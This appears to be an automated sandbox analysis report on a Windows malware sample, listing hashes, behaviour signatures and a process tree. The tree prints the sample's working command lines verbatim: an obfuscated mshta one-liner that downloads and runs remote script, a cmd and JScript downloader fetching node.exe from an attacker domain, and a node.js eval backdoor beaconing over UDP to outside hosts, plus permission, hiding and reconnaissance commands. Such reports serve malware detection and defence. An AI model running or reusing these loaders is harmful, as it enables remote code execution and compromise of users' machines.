Analysis
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max time kernel
149s -
max time network
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platform
windows7_x64 -
resource
win7v20210410 -
submitted
21-07-2021 08:42
Static task
static1
Behavioral task
behavioral1
Sample
usfive_20210721-104153.exe
Resource
win7v20210410
windows7_x64
0 signatures
0 seconds
General
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Target
usfive_20210721-104153.exe
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Size
3KB
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MD5
876cfa83c871bc2271cf0a6edfa83ca6
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SHA1
8167442ce336011ce497bbe979fb8ece5a8d3a91
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SHA256
2828e711f09ecf56ea9f8125361c7aa9301787d35eac993c1de86e24acfee49c
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SHA512
c56641934d1ecafa9f2483d4daeb4dbb0b38b1636e34aee0380d4daf537bfdf09509bb79de8e9657efc614dd03e8ca3fc37652d7a1cd8be34565948d16be4fbd
Malware Config
Signatures
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Blocklisted process makes network request 2 IoCs
flow pid Process 3 1208 mshta.exe 4 1924 cscript.exe -
Executes dropped EXE 1 IoCs
pid Process 1796 node.exe -
Loads dropped DLL 1 IoCs
pid Process 1632 cscript.exe -
Modifies file permissions 1 TTPs 1 IoCs
pid Process 360 icacls.exe -
Drops file in Windows directory 2 IoCs
description ioc Process File opened for modification C:\Windows\Logs\DPX\setupact.log expand.exe File opened for modification C:\Windows\Logs\DPX\setuperr.log expand.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Checks processor information in registry 2 TTPs 6 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString node.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1 node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString node.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz node.exe -
Enumerates processes with tasklist 1 TTPs 1 IoCs
pid Process 1580 tasklist.exe -
Gathers network information 2 TTPs 2 IoCs
Uses commandline utility to view network configuration.
pid Process 1584 netstat.exe 1768 ipconfig.exe -
Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 1660 systeminfo.exe -
NTFS ADS 2 IoCs
description ioc Process File created C:\Users\Admin\AppData\Local\Temp\e5de1e058e965de1:ads node.exe File created C:\ProgramData\DNTException\node.exe:06ade88e18015a22dee78253a036b1b7 node.exe -
Script User-Agent 2 IoCs
Uses user-agent string associated with script host/environment.
description flow ioc HTTP User-Agent header 3 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 4 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 1796 node.exe 1796 node.exe -
Suspicious use of AdjustPrivilegeToken 42 IoCs
description pid Process Token: SeDebugPrivilege 1580 tasklist.exe Token: SeIncreaseQuotaPrivilege 1720 wmic.exe Token: SeSecurityPrivilege 1720 wmic.exe Token: SeTakeOwnershipPrivilege 1720 wmic.exe Token: SeLoadDriverPrivilege 1720 wmic.exe Token: SeSystemProfilePrivilege 1720 wmic.exe Token: SeSystemtimePrivilege 1720 wmic.exe Token: SeProfSingleProcessPrivilege 1720 wmic.exe Token: SeIncBasePriorityPrivilege 1720 wmic.exe Token: SeCreatePagefilePrivilege 1720 wmic.exe Token: SeBackupPrivilege 1720 wmic.exe Token: SeRestorePrivilege 1720 wmic.exe Token: SeShutdownPrivilege 1720 wmic.exe Token: SeDebugPrivilege 1720 wmic.exe Token: SeSystemEnvironmentPrivilege 1720 wmic.exe Token: SeRemoteShutdownPrivilege 1720 wmic.exe Token: SeUndockPrivilege 1720 wmic.exe Token: SeManageVolumePrivilege 1720 wmic.exe Token: 33 1720 wmic.exe Token: 34 1720 wmic.exe Token: 35 1720 wmic.exe Token: SeIncreaseQuotaPrivilege 1720 wmic.exe Token: SeSecurityPrivilege 1720 wmic.exe Token: SeTakeOwnershipPrivilege 1720 wmic.exe Token: SeLoadDriverPrivilege 1720 wmic.exe Token: SeSystemProfilePrivilege 1720 wmic.exe Token: SeSystemtimePrivilege 1720 wmic.exe Token: SeProfSingleProcessPrivilege 1720 wmic.exe Token: SeIncBasePriorityPrivilege 1720 wmic.exe Token: SeCreatePagefilePrivilege 1720 wmic.exe Token: SeBackupPrivilege 1720 wmic.exe Token: SeRestorePrivilege 1720 wmic.exe Token: SeShutdownPrivilege 1720 wmic.exe Token: SeDebugPrivilege 1720 wmic.exe Token: SeSystemEnvironmentPrivilege 1720 wmic.exe Token: SeRemoteShutdownPrivilege 1720 wmic.exe Token: SeUndockPrivilege 1720 wmic.exe Token: SeManageVolumePrivilege 1720 wmic.exe Token: 33 1720 wmic.exe Token: 34 1720 wmic.exe Token: 35 1720 wmic.exe Token: SeDebugPrivilege 1584 netstat.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1640 wrote to memory of 1208 1640 usfive_20210721-104153.exe 26 PID 1640 wrote to memory of 1208 1640 usfive_20210721-104153.exe 26 PID 1640 wrote to memory of 1208 1640 usfive_20210721-104153.exe 26 PID 1640 wrote to memory of 1208 1640 usfive_20210721-104153.exe 26 PID 1208 wrote to memory of 1956 1208 mshta.exe 27 PID 1208 wrote to memory of 1956 1208 mshta.exe 27 PID 1208 wrote to memory of 1956 1208 mshta.exe 27 PID 1208 wrote to memory of 1956 1208 mshta.exe 27 PID 1956 wrote to memory of 1924 1956 cmd.exe 29 PID 1956 wrote to memory of 1924 1956 cmd.exe 29 PID 1956 wrote to memory of 1924 1956 cmd.exe 29 PID 1956 wrote to memory of 1924 1956 cmd.exe 29 PID 1956 wrote to memory of 1716 1956 cmd.exe 31 PID 1956 wrote to memory of 1716 1956 cmd.exe 31 PID 1956 wrote to memory of 1716 1956 cmd.exe 31 PID 1956 wrote to memory of 1716 1956 cmd.exe 31 PID 1956 wrote to memory of 1632 1956 cmd.exe 32 PID 1956 wrote to memory of 1632 1956 cmd.exe 32 PID 1956 wrote to memory of 1632 1956 cmd.exe 32 PID 1956 wrote to memory of 1632 1956 cmd.exe 32 PID 1632 wrote to memory of 1796 1632 cscript.exe 33 PID 1632 wrote to memory of 1796 1632 cscript.exe 33 PID 1632 wrote to memory of 1796 1632 cscript.exe 33 PID 1632 wrote to memory of 1796 1632 cscript.exe 33 PID 1796 wrote to memory of 1532 1796 node.exe 37 PID 1796 wrote to memory of 1532 1796 node.exe 37 PID 1796 wrote to memory of 1532 1796 node.exe 37 PID 1796 wrote to memory of 1532 1796 node.exe 37 PID 1796 wrote to memory of 684 1796 node.exe 38 PID 1796 wrote to memory of 684 1796 node.exe 38 PID 1796 wrote to memory of 684 1796 node.exe 38 PID 1796 wrote to memory of 684 1796 node.exe 38 PID 1796 wrote to memory of 360 1796 node.exe 39 PID 1796 wrote to memory of 360 1796 node.exe 39 PID 1796 wrote to memory of 360 1796 node.exe 39 PID 1796 wrote to memory of 360 1796 node.exe 39 PID 1796 wrote to memory of 1156 1796 node.exe 40 PID 1796 wrote to memory of 1156 1796 node.exe 40 PID 1796 wrote to memory of 1156 1796 node.exe 40 PID 1796 wrote to memory of 1156 1796 node.exe 40 PID 1796 wrote to memory of 1212 1796 node.exe 41 PID 1796 wrote to memory of 1212 1796 node.exe 41 PID 1796 wrote to memory of 1212 1796 node.exe 41 PID 1796 wrote to memory of 1212 1796 node.exe 41 PID 1796 wrote to memory of 1580 1796 node.exe 42 PID 1796 wrote to memory of 1580 1796 node.exe 42 PID 1796 wrote to memory of 1580 1796 node.exe 42 PID 1796 wrote to memory of 1580 1796 node.exe 42 PID 1796 wrote to memory of 1720 1796 node.exe 44 PID 1796 wrote to memory of 1720 1796 node.exe 44 PID 1796 wrote to memory of 1720 1796 node.exe 44 PID 1796 wrote to memory of 1720 1796 node.exe 44 PID 1796 wrote to memory of 1768 1796 node.exe 45 PID 1796 wrote to memory of 1768 1796 node.exe 45 PID 1796 wrote to memory of 1768 1796 node.exe 45 PID 1796 wrote to memory of 1768 1796 node.exe 45 PID 1796 wrote to memory of 1912 1796 node.exe 46 PID 1796 wrote to memory of 1912 1796 node.exe 46 PID 1796 wrote to memory of 1912 1796 node.exe 46 PID 1796 wrote to memory of 1912 1796 node.exe 46 PID 1796 wrote to memory of 1584 1796 node.exe 47 PID 1796 wrote to memory of 1584 1796 node.exe 47 PID 1796 wrote to memory of 1584 1796 node.exe 47 PID 1796 wrote to memory of 1584 1796 node.exe 47 -
Views/modifies file attributes 1 TTPs 2 IoCs
pid Process 1156 attrib.exe 1212 attrib.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\usfive_20210721-104153.exe"C:\Users\Admin\AppData\Local\Temp\usfive_20210721-104153.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:1640 -
C:\Windows\SysWOW64\mshta.exemshta "javascript:document.write();119;y=unescape('%375%7Eh%74t%70%3A%2F%2F%61s%750%34%2E%73h%6Fp%2Fh%72i%2F%3F%321%616%654%62%7E%316%37').split('~');202;try{x='WinHttp';91;x=new ActiveXObject(x+'.'+x+'Request.5.1');142;x.open('GET',y[1]+'&a='+escape(window.navigator.userAgent),!1);206;x.send();73;y='ipt.S';208;new ActiveXObject('WScr'+y+'hell').Run(unescape(unescape(x.responseText)),0,!2);255;}catch(e){};175;;window.close();"2⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:1208 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /d/s/c cd /d "C:\ProgramData" & mkdir "DNTException" & cd "DNTException" & dir /a node.exe || ( echo x=new ActiveXObject("WinHttp.WinHttpRequest.5.1"^);x.Open("GET",unescape(WScript.Arguments(0^)^),false^);x.Send(^);b=new ActiveXObject("ADODB.Stream"^);b.Type=1;b.Open(^);b.Write(x.ResponseBody^);b.SaveToFile(WScript.Arguments(1^),2^); > get1626856963695.txt & cscript /nologo /e:jscript get1626856963695.txt "http%3A%2F%2Fasu04.shop%2Fhri%2F%3F2bab72b0c%26b%3Da6564f70" node.cab & expand node.cab node.exe & del get1626856963695.txt node.cab ) & echo new ActiveXObject("WScript.Shell").Run(WScript.Arguments(0),0,false); > get1626856963695.txt & cscript /nologo /e:jscript get1626856963695.txt "node -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%27bab72b0c%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu03.xyz%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))" & del get1626856963695.txt3⤵
- Suspicious use of WriteProcessMemory
PID:1956 -
C:\Windows\SysWOW64\cscript.execscript /nologo /e:jscript get1626856963695.txt "http%3A%2F%2Fasu04.shop%2Fhri%2F%3F2bab72b0c%26b%3Da6564f70" node.cab4⤵
- Blocklisted process makes network request
PID:1924
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C:\Windows\SysWOW64\expand.exeexpand node.cab node.exe4⤵
- Drops file in Windows directory
PID:1716
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C:\Windows\SysWOW64\cscript.execscript /nologo /e:jscript get1626856963695.txt "node -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%27bab72b0c%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu03.xyz%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))"4⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1632 -
C:\ProgramData\DNTException\node.exe"C:\ProgramData\DNTException\node.exe" -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%27bab72b0c%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu03.xyz%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))5⤵
- Executes dropped EXE
- Checks processor information in registry
- NTFS ADS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1796 -
C:\Windows\SysWOW64\cmd.execmd.exe /c dir C:\6⤵PID:1532
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C:\Windows\SysWOW64\cacls.execacls.exe C:\ProgramData\DNTException /t /e /c /g Everyone:F6⤵PID:684
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C:\Windows\SysWOW64\icacls.exeicacls.exe C:\ProgramData\DNTException /t /c /grant *S-1-1-0:(f)6⤵
- Modifies file permissions
PID:360
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C:\Windows\SysWOW64\attrib.exeattrib.exe +H C:\ProgramData\DNTException6⤵
- Views/modifies file attributes
PID:1156
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C:\Windows\SysWOW64\attrib.exeattrib.exe +H C:\ProgramData\DNTException\node.exe6⤵
- Views/modifies file attributes
PID:1212
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C:\Windows\SysWOW64\tasklist.exetasklist /fo csv /nh6⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:1580
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C:\Windows\SysWOW64\Wbem\wmic.exewmic process get processid,parentprocessid,name,executablepath /format:csv6⤵
- Suspicious use of AdjustPrivilegeToken
PID:1720
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C:\Windows\SysWOW64\ipconfig.exeipconfig.exe /all6⤵
- Gathers network information
PID:1768
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C:\Windows\SysWOW64\route.exeroute.exe print6⤵PID:1912
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C:\Windows\SysWOW64\netstat.exenetstat.exe -ano6⤵
- Gathers network information
- Suspicious use of AdjustPrivilegeToken
PID:1584
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C:\Windows\SysWOW64\systeminfo.exesysteminfo.exe /fo csv6⤵
- Gathers system information
PID:1660
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